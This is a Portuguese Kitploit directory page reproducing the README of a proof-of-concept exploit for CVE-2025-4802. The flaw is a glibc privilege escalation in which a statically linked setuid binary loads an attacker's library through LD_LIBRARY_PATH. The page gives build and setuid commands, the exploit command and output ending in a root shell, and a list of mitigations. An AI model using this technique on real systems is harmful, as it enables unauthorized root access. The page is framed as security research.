Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/betizzel/cve-2025-4802-proof-of-concept
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubbetizzel/cve-2025-4802-proof-of-concept

CVE-2025-4802-Proof-of-Concept

Prova de Conceito para um binário setuid compilado estaticamente vulnerável a dlopen com LD_LIBRARY_PATH

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
21há 7 mesesAinda não revisado

CVE-2025-4802 — Prova de Conceito

⚠️ Aviso: Este repositório destina-se apenas a fins educacionais e de pesquisa de segurança autorizada. Não utilize este exploit contra sistemas que não lhe pertencem ou para os quais não tem permissão explícita de teste. A utilização indevida pode violar leis e regulamentos.

Resumo da CVE

CampoDetalhes
ID da CVECVE-2025-4802
Software AfetadoGNU C Library (glibc)
Versões Afetadas2.27 – 2.38
Tipo de VulnerabilidadeEscalação de Privilégios via LD_LIBRARY_PATH Não Confiável
Vetor de AtaqueLocal

Descrição

Uma vulnerabilidade na GNU C Library (glibc) nas versões 2.27 a 2.38 permite a um atacante explorar a variável de ambiente LD_LIBRARY_PATH em binários setuid compilados estaticamente que chamam dlopen().

Normalmente, o linker dinâmico sanitiza LD_LIBRARY_PATH para programas setuid. No entanto, binários compilados estaticamente contornam completamente o linker dinâmico, pelo que LD_LIBRARY_PATH nunca é limpo. Quando tal binário chama dlopen() (direta ou indiretamente via setlocale() ou funções NSS como getaddrinfo()), a glibc resolve bibliotecas partilhadas usando o LD_LIBRARY_PATH controlado pelo atacante, permitindo execução de código arbitrário com privilégios elevados.

Como Funciona

  1. Um binário setuid-root compilado estaticamente chama dlopen("myso.so", ...) para carregar um objeto partilhado por nome (não por caminho absoluto).
  2. Como o binário está ligado estaticamente, o linker dinâmico (ld-linux.so) nunca é executado, pelo que LD_LIBRARY_PATH não é sanitizado.
  3. Um atacante cria um objeto partilhado malicioso (myso.so) que exporta o mesmo símbolo hello() mas lança uma shell root.
  4. O atacante define LD_LIBRARY_PATH para apontar para o diretório que contém a biblioteca maliciosa.
  5. Quando o binário setuid é executado, carrega a biblioteca do atacante em vez da legítima, executando código arbitrário como root.

Estrutura do Repositório

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

Pré-requisitos

  • SO: Fedora 39 (ou qualquer distribuição Linux com uma glibc vulnerável)
  • Versão da glibc: 2.27 – 2.38 (verifique com ldd --version)
  • Pacotes: gcc, make
  • Acesso root para definir o bit setuid

Passos de Reprodução

1. Compilar Tudo

root@kitploit:~
make all

Ou manualmente:

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Definir o Bit Setuid (requer root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. Executar Normalmente (comportamento seguro)

root@kitploit:~
./main

Saída esperada:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Explorar com LD_LIBRARY_PATH (comportamento malicioso)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

Saída esperada:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

O binário carrega o myso.so do atacante a partir de evil_library/ em vez do legítimo, lançando uma shell root.

Prova de Conceito

Proof of Concept Screenshot

Está também disponível uma demonstração em vídeo: proof_of_concept_video.mp4

Mitigação

  • Atualizar a glibc para uma versão corrigida (> 2.38)
  • Evitar a ligação estática para binários setuid que usam dlopen()
  • Usar caminhos absolutos nas chamadas dlopen() em vez de nomes de bibliotecas simples
  • Abandonar privilégios antes de chamar dlopen()
  • Usar flags de hardening do compilador/linker e evitar setuid sempre que possível

Recursos

  • NVD — CVE-2025-4802
Baixar ferramenta